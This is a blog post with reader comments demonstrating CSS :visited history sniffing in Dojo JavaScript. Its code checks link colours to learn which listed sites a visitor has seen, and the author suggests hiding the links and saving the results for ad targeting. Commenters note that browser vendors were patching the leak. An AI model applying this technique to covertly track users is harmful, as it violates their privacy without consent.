Spyjax: Ajax For Evil Using Dojo

By  on  

The idea of Spyjax is nothing new. In pasts posts I've covered how you can spy on your user's history with both MooTools and jQuery. Today we'll cover how to check user history using the Dojo Toolkit.

The HTML

<ul>
<li><a href="https://davidwalsh.name" class="checkme">David Walsh Blog</a></li>
<li><a href="http://css-tricks.com" class="checkme">CSS Tricks</a></li>
<li><a href="http://snook.ca" class="checkme">Snook</a></li>
<li><a href="http://cnn.com" class="checkme">CNN</a></li>
<li><a href="http://digg.com" class="checkme">Digg</a></li>
<li><a href="http://flickr.com" class="checkme">Flickr</a></li>
<li><a href="http://php.net" class="checkme">PHP.Net</a></li>
<li><a href="http://reddit.com" class="checkme">Reddit</a></li>
<li><a href="http://yahoo.com" class="checkme">Yahoo!</a></li>
<li><a href="http://google.com" class="checkme">Google!</a></li>
<li><a href="http://msn.com" class="checkme">MSN</a></li>
<li><a href="http://gmail.com" class="checkme">Gmail</a></li>
<li><a href="http://ajaxian.com" class="checkme">Ajaxian</a></li>
<li><a href="http://imdb.com" class="checkme">IMDB</a></li>
<li><a href="http://mootools.net" class="checkme">MooTools</a></li>
<li><a href="http://jquery.com" class="checkme">jQuery</a></li>
<li><a href="http://wordpress.org" class="checkme">Wordpress</a></li>
<li><a href="http://dlisted.com" class="checkme">DListed</a></li>
<li><a href="http://foxnews.com" class="checkme">Fox News</a></li>
<li><a href="http://dzone.com" class="checkme">DZone</a></li>
<li><a href="http://nettuts.com" class="checkme">NetTuts</a></li>
<li><a href="http://youtube.com" class="checkme">YouTube</a></li>
<li><a href="http://diggnation.com" class="checkme">Diggnation</a></li>
<li><a href="http://collegehumor.com" class="checkme">College Humor</a></li>
<li><a href="http://facebook.com" class="checkme">Facebook</a></li>
<li><a href="http://myspace.com" class="checkme">MySpace</a></li>	
</ul>

For the sake of this demo I've created a list of links. A very clever developer would inject links into the page with a "display:none;" declaration so the user didn't know they were there.

The CSS

a.checkme			{ color:#00ff00; }
a.checkme:visited	{ color:#ff0000; }
.highlight			{ background:#fffea1; }

The crucial idea behind the CSS above is that the :visited link has a different color than the initial state -- that's how we know a link has been visited.

The Dojo JavaScript

(function(d,$,$$) {
	d.ready(function() {
		d.connect($('tell-me'),'onclick',function() {
			var sitesFound = 0;
			$$('a.checkme').forEach(function(node) {
				var color = d.style(node,'color');
				if(color == '#ff0000' || color == 'rgb(255, 0, 0)') {
					d.addClass(node,'highlight');
					sitesFound++;
				}
			});
			//output stuff
			if(sitesFound) {
				alert('I know ' + sitesFound + ' websites you\'ve been to.  This is where I save your information via an AJAX call to a PHP script.');
			}
			else {
				alert('Darn, couldn\'t find any!');
			}
		});
	});			
})(dojo,dojo.byId,dojo.query);

Much like the previous MooTools and Dojo posts, we start out by grabbing every link we want to check and analyze the link's color. If the color matches the visited state's color, we've found a site the user has been to. Sadly enough, it's really that easy.

So how is this relevant? Imagine you know that the user has been to the Apple Store (http://store.apple.com). You could target your website's ads toward iPods, iPads, etc. That's a fairly simple example. You could simply spy on users for your own sake. What are your thoughts on this practice?

Recent Features

  • By
    Conquering Impostor Syndrome

    Two years ago I documented my struggles with Imposter Syndrome and the response was immense.  I received messages of support and commiseration from new web developers, veteran engineers, and even persons of all experience levels in other professions.  I've even caught myself reading the post...

  • By
    fetch API

    One of the worst kept secrets about AJAX on the web is that the underlying API for it, XMLHttpRequest, wasn't really made for what we've been using it for.  We've done well to create elegant APIs around XHR but we know we can do better.  Our effort to...

Incredible Demos

  • By
    MooTools 1.3 Browser Object

    MooTools 1.3 was just released and one of the big additions is the Browser object.  The Browser object is very helpful in that not only do you get information about browser type and browser versions, you can gain information about the user's OS, browser plugins, and...

  • By
    Introducing MooTools ScrollSidebar

    How many times are you putting together a HTML navigation block or utility block of elements that you wish could be seen everywhere on a page? I've created a solution that will seamlessly allow you to do so: ScrollSidebar. ScrollSidebar allows you...

Discussion

  1. Will

    It’s probably worth having a link to last month’s announcement by Mozilla over this flaw:

    http://blog.mozilla.com/security/2010/03/31/plugging-the-css-history-leak/

  2. Does this only work if you have clicked on a link to the particular site from another site? I visit php.net several times a day and flickr many times but neither show as visited.

    Also your second Demo button underneath the code is a broken link :)

  3. Note that browser vendors (at least at Mozilla) are currently implementing fixes for this security leak. This method will stop working soon in modern browsers.

  4. Adam Radabaugh

    @Christoph Pojer: How would they fix this? Disallow JS to read the color of visited nodes? That would break standards. Not allow :visited links to be styled if they violate the same-domain origin policy? Still seems very non-standards compliant. I am curious to know.

  5. Thanks for the links guys! I hadn’t seen this.

  6. http://www.unsanitized.net/linkstatus/?lang=en

    I use the following plugin-in for Firefox which denies hacks like these. Pretty handy as well because I can also see when I last visited said link.

  7. Great post. I was making a research about similar methods just for the fun of it. With such methods there are endless possibilities to push related content to user.

  8. hamburger

    thats great fun with dojo

    i like your site

  9. @bukmacher: It’s a custom template for this site. If you look in the source, it’s called “walshbook3”

Wrap your code in <pre class="{language}"></pre> tags, link to a GitHub gist, JSFiddle fiddle, or CodePen pen to embed!